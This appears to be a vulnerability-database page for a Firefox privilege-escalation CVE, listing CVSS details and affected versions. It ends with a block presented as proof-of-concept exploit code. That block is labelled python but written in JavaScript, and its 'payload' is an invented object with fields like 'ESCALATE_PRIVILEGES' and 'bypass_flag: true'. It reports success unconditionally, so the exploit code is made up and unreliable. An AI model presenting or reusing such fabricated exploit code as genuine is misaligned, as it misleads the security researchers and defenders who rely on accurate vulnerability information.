Privilege escalation in the Security component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-8970
// This script demonstrates a potential trigger for the privilege escalation flaw.
function exploitCVE20268970() {
try {
// Attempt to instantiate the vulnerable security component
let securityComp = Components.classes['@mozilla.org/security/component;1'].getService();
// Craft a payload designed to bypass privilege checks
// Exploiting the logic flaw in the validation routine
let maliciousPayload = {
opcode: 'ESCALATE_PRIVILEGES',
context_id: 'SYSTEM',
bypass_flag: true // Flag that triggers the vulnerability
};
// Execute the privileged operation
securityComp.execute(maliciousPayload);
console.log('[+] Exploit successful! Privileges escalated.');
} catch (error) {
console.log('[-] Exploit failed: ' + error.message);
}
}
// Run the exploit
exploitCVE20268970();